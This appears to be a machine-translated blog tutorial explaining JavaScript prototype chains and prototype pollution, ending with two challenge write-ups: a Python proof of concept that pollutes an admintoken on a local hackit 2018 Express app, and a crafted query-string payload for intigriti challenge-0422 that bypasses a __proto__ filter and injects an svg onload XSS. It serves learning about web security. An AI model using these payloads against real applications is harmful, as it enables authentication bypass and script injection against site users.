XSS Injection Advanced Exercises (3) XSS Prototype Chain Pollution

1. The concept of prototype chain

An important aspect of object-oriented programming is object inheritance. By inheriting the B object, the A object can directly have all the properties and methods of the B object. This is very useful for code reuse.

Most object-oriented programming languages ​​implement object inheritance through "classes". Traditionally, the inheritance of JavaScript language is not implemented through class, but through "prototype object" (prototype). This chapter introduces JavaScript's prototype chain inheritance.

Although ES6 introduces the concept of class, its underlying implementation is still done through the prototype chain.

1.1 Disadvantages of constructors

JavaScript generates new objects through constructors, so constructors can be thought of as templates for objects. The properties and methods of the instance object can be defined inside the constructor.

    function Cat(name, color) {
    
    
        this.name = name;
        this.color = color;
    }

    var cat1 = new Cat('大毛', '白色');

    console.log(cat1.name);
    console.log(cat1.color);

insert image description here
In the above code, the function is a constructor, and attributes and attributes Catare defined inside the function . All instance objects (in the above example ) will generate these two attributes, that is, these two attributes will be defined on the instance object.namecolorcat1

Although it is convenient to define attributes for instance objects through constructors, it has a disadvantage. Attributes cannot be shared between multiple instances of the same constructor, resulting in a waste of system resources. That is to say, every time a corresponding object is created, the inherent attributes that can be shared between these objects must be reallocated for storage. lead to waste of resources.

function Cat(name, color) {
    
    
  this.name = name;
  this.color = color;
  this.meow = function () {
    
    
    console.log('喵喵');
  };
}

var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');

cat1.meow === cat2.meow

result:

insert image description here
In the above code, cat1and cat2are two instances of the same constructor, both of which have meowmethods. Since meowthe method is generated on each instance object, two instances are generated twice. In other words, every time a new instance is created, a new meowmethod will be created. This is both unnecessary and a waste of system resources, since all meowmethods have the same behavior and should be shared at all.

The solution to this problem is JavaScript's prototype object (prototype).

That is to say, JS proposes the concept of prototype chain in order to solve the problem of shared attribute methods between different instances when the constructor generates instances.

1.2 The role of the prototype attribute

The design idea of ​​the JavaScript inheritance mechanism is that all properties and methods of the prototype object can be shared by the instance object. That is to say, if properties and methods are defined on the prototype, then all instance objects can be shared, which not only saves memory, but also reflects the connection between instance objects. (The prototype is a shared memory area where shared elements between instances can be stored)

Next, let's first look at how to specify a prototype for an object. JavaScript stipulates that each function has a prototypeproperty that points to an object.

function f() {
    
    }
typeof f.prototype // "object"

We found that any function has a prototype attribute, which points to an object.

For ordinary functions, this attribute is basically useless. However, for the constructor, when an instance is generated, this attribute will automatically become the prototype of the instance object.

function Animal(name) {
    
    
  this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';

//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'

AnimalIn the above code, the properties of the constructor prototypeare the instance object cat1and cat2the prototype object. A colorproperty is added to the prototype object, and as a result, the instance objects all share this property.

Properties of the prototype object are not properties of the instance object itself. As long as the prototype object is modified, the change will be reflected in all instance objects immediately.

Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"

In the above code, colorthe value of the property of the prototype object changes yellow, and the properties of the two instance objects colorchange immediately. This is because the instance object does not actually have colorattributes, and they all read colorthe attributes of the prototype object. That is to say, when the instance object itself does not have a certain property or method, it will go to the prototype object to find the property or method. This is what makes prototype objects special.

If the instance object itself has a certain property or method, it will not go to the prototype object to find this property or method.

cat1.color = 'black';

cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';

insert image description here
In the above code, the attribute cat1of the instance object is changed , so that it no longer reads the attribute of the prototype object, and the value of the latter is still .colorblackcoloryellow

To sum up, the role of the prototype object is to define the properties and methods shared by all instance objects. This is why it is called a prototype object, and an instance object can be regarded as a subobject derived from a prototype object.

Another example is that we define a walk method on the prototype of the constructor:

Animal.prototype.walk = function () {
    
    
  console.log(this.name + ' is walking');
};

This method can be called on every instance:

 function Animal(name) {
    
    
        this.name = name;
    }

    Animal.prototype.walk = function () {
    
    
        console.log(this.name + ' is walking');
    };

    //创建了两个实例
    var cat1 = new Animal('大毛');
    var cat2 = new Animal('二毛');
	//实例中可以调用对应的方法
    cat1.walk();
    car2.walk();

insert image description here
At this point, we understand that the role of the prototype is to provide a shared memory space for all instances created by the constructor. The attribute methods stored in this space can be called by each newly created instance. And the newly created instance is allowed to have its own new implementation (modify the default attributes, that is, custom attributes).

1.3 Prototype chain

JavaScript stipulates that all objects have their own prototype object (prototype). On the one hand, any object can serve as the prototype of other objects; on the other hand, since the prototype object is also an object, it also has its own prototype. Therefore, a "prototype chain" (prototype chain) will be formed: object to prototype, and then to the prototype of the prototype...

Since the prototype property of the constructor points to an object, what does this mean? Of course, as the prototype of the object, it also has its own constructor (object), and its prototype property points to a prototype.

If you trace up layer by layer, the prototype of all objects can eventually be traced back to Object.prototype, that is, the properties Objectof the constructor prototype. Object.prototypeThat is, properties that all objects inherit . This is why all objects have valueOfthe and method, since this is inherited from .toStringObject.prototype

Here objectis the basic point of the entire JS, similar to the singularity of the universe, that is to say, as objectit is also a constructor, it must also have prototype attributes. And this prototype defines the tostring and valueof methods. Therefore, all JS functions and instances created by it are worth mentioning. Both functions are accessible.

So, Object.prototypedoes an object have its prototype? Object.prototypeThe prototype for the answer is yes null. nullDoes not have any properties and methods, and does not have its own prototype. So the end of the prototype chain is null.

Object.getPrototypeOf(Object.prototype)
// null

The above code indicates that Object.prototypethe prototype of the object is null, since nullthere are no properties, the prototype chain ends here. Object.getPrototypeOfThe method returns the prototype of the parameter object.

When reading a property of an object, the JavaScript engine first looks for the property of the object itself. If it cannot find it, it goes to its prototype. If it still cannot find it, it goes to the prototype of the prototype to find it. If none is found up to the top level Object.prototype, return undefined. If both the object itself and its prototype define a property with the same name, then the property of the object itself is read first, which is called "overriding".

Note that going up one level, looking for a certain property on the entire prototype chain has an impact on performance. The higher the prototype object whose property you are looking for has a greater impact on performance. If looking for a property that doesn't exist, the entire prototype chain will be traversed.

For example, if you let the properties of the constructor prototypepoint to an array, it means that the instance object can call the array method.

var MyArray = function () {
    
    };

MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;

var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true

In the above code, mineit is the instance object of the constructor MyArray. Since MyArray.prototypeit points to an array instance, minethe array method can be called (these methods are defined on prototypethe object of the array instance). The last line instanceofof expressions is used to compare whether an object is an instance of a certain constructor, and the result is an instance mineof the proof Array.

1.4 constructorProperties

prototypeThe object has a constructorproperty, which by default points to prototypethe constructor where the object is located.

function P() {
    
    }
P.prototype.constructor === P // true

Since constructorthe attribute is defined prototypeon the object, it means that it can be inherited by all instance objects.

function P() {
    
    }
var p = new P();

p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false

In the above code, pit is an instance object of the constructor P, but pit has no property itself constructor. This property actually reads P.prototype.constructorthe properties on the prototype chain.

constructorThe function of the attribute is to know which constructor generated an instance object.

function F() {
    
    };
var f = new F();

f.constructor === F // true
f.constructor === RegExp // false

In the above code, constructorthe attribute determines fthe constructor of the instance object is F, not RegExp.

On the other hand, with constructorproperties, it is possible to create another instance from one instance object.

function Constr() {
    
    }
var x = new Constr();

var y = new x.constructor();
y instanceof Constr // true

In the above code, xit is an instance of the constructor , and the constructor Constrcan be called indirectly. x.constructorThis makes it possible for an instance method to call its own constructor.

Constr.prototype.createCopy = function () {
    
    
  return new this.constructor();
};

In the above code, createCopythe method calls the constructor to create another instance.

constructorAttributes represent the relationship between the prototype object and the constructor. If the prototype object is modified, the attributes will generally be modified at the same time constructorto prevent errors when referencing.

Error instance:

function Person(name) {
    
    
  this.name = name;
}

Person.prototype.constructor === Person // true

//修改原型属性的指向
Person.prototype = {
    
    
  method: function () {
    
    }
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true

In the above code, the prototype object of the constructor Personis changed, but constructorthe property is not modified, so the property no longer points to it Person. Since Personthe new prototype of is an ordinary object, and constructorthe properties of the ordinary object point to Objectthe constructor, it Person.prototype.constructorbecomes Object.

// 坏的写法
C.prototype = {
    
    
  method1: function (...) {
    
     ... },
  // ...
};

// 好的写法
C.prototype = {
    
    
  constructor: C,
  method1: function (...) {
    
     ... },
  // ...
};

// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) {
    
     ... };

In the above code, either constructorre-point the property to the original constructor, or only add the method on the prototype object, so as to ensure that instanceofthe operator will not be distorted.

If you can't determine constructorwhat function the attribute is, there is another way: nameget the name of the constructor from the instance through the attribute.

function Foo() {
    
    }
var f = new Foo();
f.constructor.name // "Foo"

So far, we have clarified the role of the constructor attribute, which is a default attribute in the prototype, and the value is the owner of the current prototype (pointing to the constructor to which the current prototype belongs). It is possible to call the constructor through the instance and do some copy functions of the instance. One thing to note is that the constructor attribute will automatically modify the value. When we artificially modify the pointer of the prototype attribute and want to use it to access the constructor, we must remember to modify the value of the constructor, but more suggestions are Do not make point-to-point modifications to prototype objects. Functions can be implemented in the form of adding methods without destroying the prototype structure.

Of course, we can use this property to access the prototype object through the instance:

<script>
    function Person(name) {
    
    
        this.name = name;
    }

    let per = new Person('batman');
    console.log(Person.prototype);
    console.log(per.constructor.prototype);
</script>

insert image description here

1.5 prototypeand__proto__

Through the above study, we know that the prototype prototype is used as a property of the constructor, which points to an object. We can add some properties and methods to this object. These attribute methods added to the prototype can be unconditionally inherited by instance objects. Of course, there is only one copy of the data. So if we want to directly access the prototype of the constructor in the instance, how should we access it?

so?

function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.prototype);

insert image description here
It must not be accessible, because it is used like this:

  function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.__proto__);

insert image description here
At this point, we can see that the actual __proto__function is to allow the instance object to access the prototype object of its own constructor. That is to say, we can see the prototype chain by visiting all the time:

    function Foo() {
    
    
        this.bar = 1
    }

    Foo.prototype.name = 'this is test for prototype';

    var foo1 = new Foo();

    console.log(foo1.name);
    console.log(foo1.__proto__);
    console.log(foo1.__proto__.__proto__);
    console.log(foo1.__proto__.__proto__.__proto__);

insert image description here
See, we actually found null with three prototype visits. Because our constructor is one level objectup, so going up two levels is objectthe prototype of , and objectthe prototype of ’ is just defined null. So we can see this phenomenon.

2. Prototype Chain Pollution

2.1 What is prototype chain pollution?

Let's take a look at the phenomenon of prototype chain pollution through a simple example:

// foo是一个简单的JavaScript对象
let foo = {
    
    bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {
    
    }

// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)

insert image description here
__proto__In other words, the reason for the prototype chain pollution is that we modify the prototype object of its constructor through the accessible objects and attributes. In this way, it affects the corresponding properties of each instance created by the subsequent constructor. The premise is that this instance does not make custom modifications to this attribute.

2.2 Conditions of Prototype Chain Pollution

In practical applications, under what circumstances may there be situations where the prototype chain can be modified by an attacker?

Let's think about it, under what circumstances can we set __proto__the value? In fact, just look for the operation that can control the "key name" of the array (object):

  • The object merge is used for combining and splicing
  • Object clone (in fact, the kernel is to merge the object to be operated into an empty object) copy

Taking the object merge as an example, we imagine a simple merge function:

function merge(target, source) {
    
    
	//循环取出source中的key
    for (let key in source) {
    
    
    	//判断key是否在源目均存在,存在就递归调用merge
        if (key in source && key in target) {
    
    
            merge(target[key], source[key])
        } else {
    
    
        //不存在直接让源覆盖目
            target[key] = source[key]
        }
    }
}

In summary, the function of this function is to transfer properties between objects, and the properties of the source object will completely cover the destination object. If the target object does not have one, assign it directly. If there is a target object, after the recursive call, the corresponding properties of the target object will still be overwritten.

Let's try to pollute once:

//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {
    
    }
let o2 = {
    
    a: 1, "__proto__": {
    
    b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

result:

insert image description here
There is no pollution to the prototype chain as we reasoned. We use breakpoint analysis and follow-up analysis:

insert image description here
The key was not taken out directly __proto__, but ignored. Only key a and key b are taken out.

This is because, in the process of creating o2 with JavaScript ( let o2 = {a: 1, "__proto__": {b: 2}}), __proto__it already represents the prototype of o2. At this time, when traversing all the key names of o2, what you get [a, b]is __proto__not a key, and naturally the prototype of Object will not be modified. .

Modify the code:

let o1 = {
    
    }
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

Continue to follow up with the break point:
insert image description here

It can be seen that it has been taken out __proto__as the key name, and the prototype chain pollution can be realized in the end:

insert image description here

This is because, in the case of JSON parsing, __proto__it will be considered a real "key name" instead of a "prototype", so this key will exist when traversing o2.

The merge operation is the most common operation that may control the key name, and it is also the most vulnerable to prototype chain attacks. This problem exists in many common libraries.

2.3 Prototype with pollution example

2.3.1 hackit 2018

The inspiration for this question comes from hackit2018, and a nodejs program is started on the backend, providing two interfaces api and admin. The user submits parameters, uses the prototype chain pollution to illegally modify the login information, and then logs in to admin.

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    
    
    matrix[i] = [null , null, null];
}

function draw(mat) {
    
    
    var count = 0;
    for (var i = 0; i < 3; i++){
    
    
        for (var j = 0; j < 3; j++){
    
    
            if (matrix[i][j] !== null){
    
    
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {
    
    

    for (var i = 0; i < 3; i++){
    
    
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => {
    
     
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
    
    
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
    
    
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    
    
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
    
    
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
    
    
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
    
    
            if (matrix[i][0] === 'X') {
    
    
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
    
    
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
    
    
            if (matrix[0][i] === 'X') {
    
    
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
    
    
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
    
    
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
    
    
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
    
    
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
    
    
        winner = 2;
    }

    if (draw(matrix) && winner === null){
    
    
        res.send(JSON.stringify({
    
    winner: 0}))
    }
    else if (winner !== null) {
    
    
        res.send(JSON.stringify({
    
    winner: winner}))
    }
    else {
    
    
        res.send(JSON.stringify({
    
    winner: -1}))
    }

})
app.listen(3000, () => {
    
    
    console.log('app listening on port 3000!')
})

The condition for obtaining the flag is that the incoming querytoken must be equal to the MD5 value of the admintoken in the user array itself, and both must exist.

Put the above source code under the path, and it can run after the dependencies are resolved. Let's first look at its loopholes:

//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => {
    
     
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
    
    
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
    
    
        res.status(403).send('Forbidden');
    }    
}
)

//用户提交参数的api接口
app.post('/api', (req, res) => {
    
    
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
    
    
        client.row %= 3;
        client.col %= 3;
    }
    //漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。
    //污染admintokrn为已知信息
    matrix[client.row][client.col] = client.data;

Do a local test first:

insert image description here
It can be realized by writing python poc:

import requests
import json

url1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"

s = requests.session()

headers = {
    
    "Content-Type":"application/json"}
data1 = {
    
    "row":"__proto__","col":"admintoken","data":"batman"}

res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)

Effect:
insert image description here

2.3.2 challenge-0422

challenge-0422 is a prototype chain pollution challenge of one of the world famous XSS challenge websites. About this challenge almost every month. Those who succeed in the challenge can get some prizes. Of course, the difficulty is not low. Anyone who is interested can refer to it for study.

0422 means the title of April 22. Just make changes in the corresponding URL.

Let's look at this question:

insert image description here

A program that simulates windows is given on the page. Obviously, nothing happens after clicking. We need to find the corresponding JS source code. We see that there is an iframe tag inside the source code. We try to enter:

insert image description here
view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html

In this way, we can carry out a preliminary analysis of its source code: list its main function codes, I suggest you try to figure it out first. The following content may be a bit difficult to understand

//main函数的位置
        function main() {
    
    
            //利用qs接收url中?以及以后的内容,并对其进行
            const qs = m.parseQueryString(location.search)

            let appConfig = Object.create(null)

            appConfig["version"] = 1337
            appConfig["mode"] = "production"
            appConfig["window-name"] = "Window"
            appConfig["window-content"] = "default content"
            //在JS中["string"]的写法,表明这里是一个数组赋值
            appConfig["window-toolbar"] = ["close"]
            appConfig["window-statusbar"] = false
            appConfig["customMode"] = false

            if (qs.config) {
    
    
                //第一次merge的调用位置
                merge(appConfig, qs.config)
                //这里把定制按钮打开
                appConfig["customMode"] = true
            }

            //又开始创建对象devsettings
            let devSettings = Object.create(null)
            //一系列的赋值,root接收到的是标签对象
            devSettings["root"] = document.createElement('main')
            devSettings["isDebug"] = false
            devSettings["location"] = 'challenge-0422.intigriti.io'
            devSettings["isTestHostOrPort"] = false
            
            //调用了这里的checkhost函数作为依据,进入第二次调用merge
            if (checkHost()) {
    
    
                //键值判断 测试主机端口标识位 置1
                devSettings["isTestHostOrPort"] = true
                //调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去
                merge(devSettings, qs.settings)
            }

            //判断是测试主机或者debug模式就打印两个对象appConfig和devSettings
            if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
    
    
                console.log('appConfig', appConfig)
                console.log('devSettings', devSettings)
            }
            
            //根据custommode的值对devsettings.root采取不同的内容挂载
            if (!appConfig["customMode"]) {
    
    
                m.mount(devSettings.root, App)
            } else {
    
    
                m.mount(devSettings.root, {
    
    
                    view: function () {
    
    
                        return m(CustomizedApp, {
    
    
                            name: appConfig["window-name"],
                            content: appConfig["window-content"],
                            options: appConfig["window-toolbar"],
                            status: appConfig["window-statusbar"]
                        })
                    }
                })
            }
            //将devSettings.root插入到body里面去
            document.body.appendChild(devSettings.root)
        }


        //获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1
        //返回true
        function checkHost() {
    
    
            const temp = location.host.split(':')
            const hostname = temp[0]
            const port = Number(temp[1]) || 443
            return hostname === 'localhost' || port === 8080
        }

        //判断是否非本源?
        function isPrimitive(n) {
    
    
            return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
        }

        //进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤
        function merge(target, source) {
    
    
            let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
            //从源中获取键值
            for (let key in source) {
    
    
                //遇到了包含敏感字符的键直接跳出循环一次予以忽略
                if (protectedKeys.includes(key)) continue
                //迭代进行merge的赋值
                //判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值
                if (isPrimitive(target[key])) {
    
    
                    target[key] = sanitize(source[key])
                } else {
    
    
                    merge(target[key], source[key])
                }
            }
        }

        //过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤
        function sanitize(data) {
    
    
            if (typeof data !== 'string') return data
            return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
        }

        main()
    })()

After analyzing the above code, we will start to solve the problem. First find the feature function merge function. A total of two occurrences, the first trigger is unconditional, appconfigmodified. So far, it seems useless. The second time is a conditional call, and there must be a check function with a return value of 1 before the call. Through the above analysis.

As a checkhost function, the judgment basis is the requested host name and port number. At present, it seems that there is no way to make it pass the test.

Look at the function of the second merge. The second merge modification covers this parameter. Obviously, at the end of the main function, this eye-catching insertion behavior devSettingsis used .document.body.appendChild(devSettings.root)

The general idea came out, we have to find a way to interfere with the checkhost function before we can hope to devconfigs.rootpollute the inserted one. Let's look at this function again at this time:

 function checkHost() {
    
    
 			//获取了参数
            const temp = location.host.split(':')
            //用了temp数组进行参数的取出
            const hostname = temp[0]
            //继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。
            //那就默认443咯
            const port = Number(temp[1]) || 443
            return hostname === 'localhost' || port === 8080
        }

Recall the basic concept of prototype chain pollution, use the instance to access the prototype object and create the corresponding property, and pollute the newly created instance without the property. Does the temp here have .1this property? No, then we construct the following parameters for pollution:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。

insert image description here
Now you must have two questions:

Q1: Why not __proto__access the prototype object?
A1: During the merge, the author filtered this parameter badly. When encountering this character, it will jump out of the current loop and ignore its existence. Q2

: Why are there two objects in the console?
A2: Because here, there is a judgment output code
//judgment is the test host or debug mode, print two objects
appConfig and devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) { console.log( 'appConfig', appConfig) console. log('devSettings', devSettings) }


Next, our goal is to pollute the setting parameters and find a way to insert complete JS code to complete XSS:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

The following settingparameters are obtained by finding the insertion point level by level. For example:

insert image description here

The final pop-up effect:

insert image description here
Note that this pop-up window can only take effect on browsers other than firefox. But it’s harmless, as long as everyone can roughly understand this idea. Through the second prototype chain pollution, our JS code that was finally inserted realized an XSS pop-up window.

3. Summary

First of all, the prototype object is proposed to solve the resource waste problem caused by using the constructor to create multiple method instances with repeated attributes in the JS code. By assigning prototypeattributes to the constructor (which should point to a prototype object with shared functions), all attribute methods written in the prototype object are inherited by the instance by default. Of course, this does not prevent instance custom properties and methods. This is how prototyping works.

As a prototype object instance, it naturally has its own constructor (object), so object.prototypethe method specified above will be owned by all JS functions, that is, any object we often say has tostringmethods and valueofmethods. As the ancestor protottpe, the prototype of the ancestor, its constructor does not exist, so when you want to access its prototype object, it will only return null.

But it is also the existence of this mechanism that constitutes the prototype chain, that is to say, when any object accesses a method attribute that does not exist, it will first find its own prototype object, and then look for the prototype when its own prototype object does not exist. The prototype object of the object is repeated until the objectprototype object of the found prototype object is returned nullbefore stopping the search. Naturally, a long prototype chain can affect performance.

Then, the principle of the so-called prototype chain pollution is that by modifying the properties of the prototype object of a certain instance, the instance created with the same constructor can call the modified properties in the subsequent program execution. So as to affect the program execution process and realize malicious XSS or other malicious behavior attacks. Its pair is more common in assignment functions such as merge.

Then in the merge function, if you want to use the prototype chain pollution, you must insert the prototype chain into the target. In order to solve the problem that the merge is not recognized by default when running, we __proto__will jsonize the parameters passed into the merge. The effect is achieved in sequence, which is reflected in the payload of hackit2018.

Then, in the process of accessing the prototype object through the instance, we can not only use __proto__but also use constructor.prototypeaccess. The same effect can be achieved, which is challenge-0422also used as a bypass method in the challenge.

In general, the topic of prototype chain pollution still has a lot of in-depth content worth exploring, and this article is just a scratch. If you are interested, you can dig deeper. As the functions that front-end technology can achieve are increasingly enhanced, the security issues that arise cannot be underestimated.

There is still a long way to go, especially for the basics of code. There is still a long way to go, let's encourage each other!

In addition, the prevention of prototype chain pollution can only be prevented from the perspective of code writing, and any parameters that will enter the merge should be filtered. In this way, some prototype chain pollution attacks can be blocked.

Guess you like

Origin blog.csdn.net/qq_55316925/article/details/129115251
xss